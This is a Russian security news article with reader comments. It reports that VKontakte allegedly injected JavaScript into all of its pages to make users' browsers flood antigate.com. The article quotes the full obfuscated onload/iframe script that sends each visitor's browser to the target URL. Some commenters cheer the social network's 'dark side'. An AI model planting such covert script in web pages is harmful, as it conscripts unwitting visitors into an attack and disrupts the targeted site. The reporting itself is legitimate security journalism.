Новости

«ВКонтакте» осуществил DDoS атаку на сайт antigate.com


Теги: ВКонтакте, DDoS, antigate.com

Социальная сеть «ВКонтакте» внедрила на все страницы сайта сценарий, осуществляющий DDoS атаку на сайт antigate.com.

Сегодня многие пользователи ВКонтакте, посетившие сайт социальной сети, могли стать невольными участниками DDoS атаки на сайт antigate.com.

На страницах пользователей загружался следующий JavaScript сценарий:

function _test() {
  var fr=utilsNode.appendChild(ce('iframe')),d=fr.contentWindow.document;d.open();d.write(' <script>this.location="http://ant'+'iga'+'te.com/i '+'n.php?'+'firs'+'t_an'+'d_la'+'st_wa'+'rnin'+ 'g=o'+'n";</sc'+'ript>');setTimeout(re.pbind(fr),1000);
}

<body onresize="onBodyResize()" class="is_rtl font_default" onload="_test()">

Этот сценарий отправлял запрос на сайт antigate.com из браузера каждого пользователя соцсети «ВКонтакте» при каждой загрузке страницы.

Подобные действия со стороны администрации «ВКонтакте» не могут радовать, и невольно поднимается вопрос о моральности и законности (ст. 274 УК РФ) подобных действий.

Редакция SecurityLab.ru отправила письмо в пресс-службу «ВКонтаке» с просьбой прокомментировать сложившуюся ситуацию, но на момент публикации новости ответ получен не был.

Новости по теме:
 Ежедневный выпуск от SecurityLab.Ru
 Еженедельный выпуск от SecurityLab.Ru
(Голосов: 25, Рейтинг: 4.24)

ArtMoney

Скачать ArtMoney бесплатно на нашем сайте.

soft.mydiv.net

Страницы: 1  2  3  
Трололо
26-04-2012 21:12:50
Интересно сколько будет стоить данная услуга? smile:)
Ответить Ссылка
Трололо
26-04-2012 21:16:40
Евгений Касперский назвал 5 наиболее опасных киберугроз

Боже! Судя по статье от дяди Жени текущая новость просто пугает, она сразу реализует все 5 угроз! ВК может завалить кого хочешь, манипулировать кем хочет, и знать все о ком хочет. Вот оно современное кибер-правительство!
Ответить Ссылка
elf80level
27-04-2012 00:11:02
Касперский записался в конспирологи.
Ответить Родитель Ссылка
feeDOS
27-04-2012 08:59:00
Может Касперский стал пророком?! А если без шуток то он очень даже прав! Я считаю что такие соц.сети надо жестко контролировать.
Ответить Родитель Ссылка
Пух
27-04-2012 10:17:14
Такие соц.сети не нужно создавать. Хотя, глупость сказал. Хомячковое поколение жило, живет и будет жить.
Ответить Родитель Ссылка
пельмешка
26-04-2012 22:36:56
причем, согласно другим источникам, антигейт быстро наладил редирект на другой сайт. а зря, надо было отдавать файл с порнухой как прикрепленный. сразу начались бы крики о вирусе
Ответить Ссылка
M.S.
26-04-2012 22:52:32
Пипец, что за однобокие статьи? А ничего, что antigate предназначен для обхода капчи, т.е. очень помогает спамерам? Или в этом тоже вконтакт виноват?
Ответить Ссылка
Humanoid
26-04-2012 23:13:52
Обходить капчи не запрещено. А вконтакт использует своих пользователей как ботнет, что бы осуществлять атаки на неугодные сайты, вместо того, что бы улучшить свои алгоритмы для капчи.
Ответить Родитель Ссылка
Loki
27-04-2012 14:07:52
[quote] Пипец, что за однобокие статьи? А ничего, что antigate предназначен для обхода капчи, т.е. очень помогает спамерам? Или в этом тоже вконтакт виноват?[/quote]И что?Сейчас вообще многие сайты начали громоздить такие капчи,что их только с десятой попытки угадываешь,за это не то что досить-штрафовать надо. И вообще не надо путать обход капчи,что не наказуемо,и ддос-атаку.По-ходу,ВК становется бот-сетью smile:)
Ответить Родитель Ссылка
elf80level
26-04-2012 23:52:43
Оу, это очень радует что вконтактик наконец-то переходит на темную сторону. Впервые он мне нравится. Подождем еще от него приятных сюрпризов.
Ответить Ссылка
ужос
27-04-2012 10:10:39
Втентакле™
Ответить Родитель Ссылка
Страницы: 1  2  3  


                                                                                                                                                                                                                                               

Блоги
19.06.2013
Коротко о ITSF Казань 2013
В прошлом году не удалось посетить ITSF Казань. Однако коллеги, участвовавшие в мероприятии отзыва...
19.06.2013
Обновление программы курса по оценке эффективности ИБ
Обновил программу курса по оценке эффективности ИБ. В текущей версии 1.6 добавлены следующие темы:Пр...
18.06.2013
Недолив слили
Как бы новость ИТ-криминалистики: «Правоохранительные органы раскрыли крупную мошенническую сх...
18.06.2013
Список блогов и площадок по ИБ (РФ)
Составил перечень блогов и площадок по ИБ (РФ), может пригодится кому-нибудь. Много полезной информа...
18.06.2013
Повышение осведомленности по вопросам SDLC: один из примеров
Про SDLCя писал неоднократно. И про повышение осведомленноститоже. И вот решил совместить smile;-) Выложу...
18.06.2013
Бизнес-модели в деятельности безопасников
На казанском IT & Security Forum читал вот такую презентацию. Она продолжила тему альтернативн...
18.06.2013
ИТ-риски: сбои - тоже забота отдела информационной безопасности
Что такое ИТ-риски? По сути дела, это просто сама возможность возникновения различных внештатных сит...
18.06.2013
СЗПДн. Анализ. Выбор мер обеспечения безопасности общедоступных ПДн
Уже достаточно давно обновился комплект подзаконных актов по защите ПДн (ПП 1119 и приказ ФСТЭ...
17.06.2013
Пентест по площадям
Если поделить кибератаки на целевые (т.е. направленные на конкретную информсистему) и площадные (т.е...
17.06.2013
Очередной законопроект по персданным
В пятницу, когда прогрессивное человечество находилось в Казани на IT & Security Forum, депута...